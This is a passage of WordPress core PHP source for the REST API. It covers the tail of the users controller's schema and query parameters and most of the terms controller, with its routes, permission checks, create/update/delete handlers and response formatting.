			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'username'    => array(
					'description' => __( 'Login name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_username' ),
					),
				),
				'name'        => array(
					'description' => __( 'Display name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'first_name'  => array(
					'description' => __( 'First name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'last_name'   => array(
					'description' => __( 'Last name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'email'       => array(
					'description' => __( 'The email address for the user.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'required'    => true,
				),
				'url'         => array(
					'description' => __( 'URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'description' => array(
					'description' => __( 'Description of the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'link'        => array(
					'description' => __( 'Author URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'locale'    => array(
					'description' => __( 'Locale for the user.' ),
					'type'        => 'string',
					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
					'context'     => array( 'edit' ),
				),
				'nickname'    => array(
					'description' => __( 'The nickname for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'slug'        => array(
					'description' => __( 'An alphanumeric identifier for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'registered_date' => array(
					'description' => __( 'Registration date for the user.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'roles'           => array(
					'description' => __( 'Roles assigned to the user.' ),
					'type'        => 'array',
					'items'       => array(
						'type'    => 'string',
					),
					'context'     => array( 'edit' ),
				),
				'password'        => array(
					'description' => __( 'Password for the user (never included).' ),
					'type'        => 'string',
					'context'     => array(), // Password is never displayed.
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_user_password' ),
					),
				),
				'capabilities'    => array(
					'description' => __( 'All capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'extra_capabilities' => array(
					'description' => __( 'Any extra capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: avatar image size in pixels */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['avatar_urls']  = array(
				'description' => __( 'Avatar URLs for the user.' ),
				'type'        => 'object',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description'        => __( 'Ensure result set excludes specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		$query_params['include'] = array(
			'description'        => __( 'Limit result set to specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		$query_params['offset'] = array(
			'description'        => __( 'Offset the result set by a specific number of items.' ),
			'type'               => 'integer',
		);

		$query_params['order'] = array(
			'default'            => 'asc',
			'description'        => __( 'Order sort attribute ascending or descending.' ),
			'enum'               => array( 'asc', 'desc' ),
			'type'               => 'string',
		);

		$query_params['orderby'] = array(
			'default'            => 'name',
			'description'        => __( 'Sort collection by object attribute.' ),
			'enum'               => array(
				'id',
				'include',
				'name',
				'registered_date',
				'slug',
				'include_slugs',
				'email',
				'url',
			),
			'type'               => 'string',
		);

		$query_params['slug']    = array(
			'description'        => __( 'Limit result set to users with one or more specific slugs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'               => 'string',
			),
		);

		$query_params['roles']   = array(
			'description'        => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'string',
			),
		);

		$query_params['who'] = array(
			'description' => __( 'Limit result set to users who are considered authors.' ),
			'type'        => 'string',
			'enum'        => array(
				'authors',
			),
		);

		/**
		 * Filter collection parameters for the users controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_User_Query parameter.  Use the
		 * `rest_user_query` filter to set WP_User_Query arguments.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_user_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-terms-controller.php000066600000100070151114277720015306 0ustar00<?php
/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
		$this->namespace = 'wp/v2';
		$tax_obj = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'create_item' ),
				'permission_callback' => array( $this, 'create_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'id' => array(
					'description' => __( 'Unique identifier for the term.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_item' ),
				'permission_callback' => array( $this, 'update_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'                => array(
					'force' => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as terms do not support trashing.' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/**
		 * Filters the query arguments before passing them to get_terms().
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments to be
		 *                                       passed to get_terms().
		 * @param WP_REST_Request $request       The current request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] )  ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $this->taxonomy, $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $this->taxonomy, $count_args );

		// wp_count_terms can return a falsy value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		$response = array();

		foreach ( $query_result as $term ) {
			if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
				continue;
			}
			$data = $this->prepare_item_for_response( $term, $request );
			$response[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$base = add_query_arg( $request->get_query_params(), rest_url( $this->namespace . '/' . $this->rest_base ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error( 'rest_term_invalid', __( 'Term does not exist.' ), array( 'status' => 404 ) );

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) );
		}
		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to create items, false or WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );
		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create new terms.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			if ( $term_id = $term->get_error_data( 'term_exists' ) ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data( array( 'status' => 400, 'term_id' => $term_id ) );
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/**
		 * Fires after a single term is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Checks if a request has access to update the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error( 'rest_cannot_update', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we haz something to update.
		if ( ! empty( $prepared_term ) ) {
			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to delete the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
	 */
	public function delete_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this term.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for terms.
		if ( ! $force ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$retval = wp_delete_term( $term->term_id, $term->taxonomy );

		if ( ! $retval ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The term cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );

		/**
		 * Fires after a single term is deleted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term          $term     The deleted term.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object $prepared_term Term object.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = new stdClass;

		$schema = $this->get_item_schema();
		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->name = $request['name'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_term->slug = $request['slug'];
		}

		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
			$prepared_term->taxonomy = $request['taxonomy'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_term->description = $request['description'];
		}

		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
			$parent_term_id = 0;
			$parent_term    = get_term( (int) $request['parent'], $this->taxonomy );

			if ( $parent_term ) {
				$parent_term_id = $parent_term->term_id;
			}

			$prepared_term->parent = $parent_term_id;
		}

		/**
		 * Filters term data before inserting term via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_term Term object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param obj             $item    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response $response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $item->term_id;
		}

		if ( in_array( 'count', $fields, true ) ) {
			$data['count'] = (int) $item->count;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $item->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_term_link( $item );
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $item->name;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $item->slug;
		}

		if ( in_array( 'taxonomy', $fields, true ) ) {
			$data['taxonomy'] = $item->taxonomy;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->parent;
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$response->add_links( $this->prepare_links( $item ) );

		/**
		 * Filters a term item returned from the API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Allows modification of the term data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response  The response object.
		 * @param object            $item      The original term object.
		 * @param WP_REST_Request   $request   Request used to generate the response.
		 */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param object $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$base = $this->namespace . '/' . $this->rest_base;
		$links = array(
			'self'       => array(
				'href' => rest_url( trailingslashit( $base ) . $term->term_id ),
			),
			'collection' => array(
				'href' => rest_url( $base ),
			),
			'about'      => array(
				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
			),
		);

		if ( $term->parent ) {
			$parent_term = get_term( (int) $term->parent, $term->taxonomy );

			if ( $parent_term ) {
				$links['up'] = array(
					'href'       => rest_url( trailingslashit( $base ) . $parent_term->term_id ),
					'embeddable' => true,
				);
			}
		}

		$taxonomy_obj = get_taxonomy( $term->taxonomy );

		if ( empty( $taxonomy_obj->object_type ) ) {
			return $links;
		}

		$post_type_links = array();

		foreach ( $taxonomy_obj->object_type as $type ) {
			$post_type_object = get_post_type_object( $type );

			if ( empty( $post_type_object->show_in_rest ) ) {
				continue;
			}

			$rest_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
			$post_type_links[] = array(
				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( sprintf( 'wp/v2/%s', $rest_base ) ) ),
			);
		}

		if ( ! empty( $post_type_links ) ) {
			$links['https://api.w.org/post_type'] = $post_type_links;
		}

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description'  => __( 'Unique identifier for the term.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'embed', 'edit' ),
					'readonly'     => true,
				),
				'count'       => array(
					'description'  => __( 'Number of published posts for the term.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'description' => array(
					'description'  => __( 'HTML description of the term.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit' ),
				),
				'link'        => array(
					'description'  => __( 'URL of the term.' ),
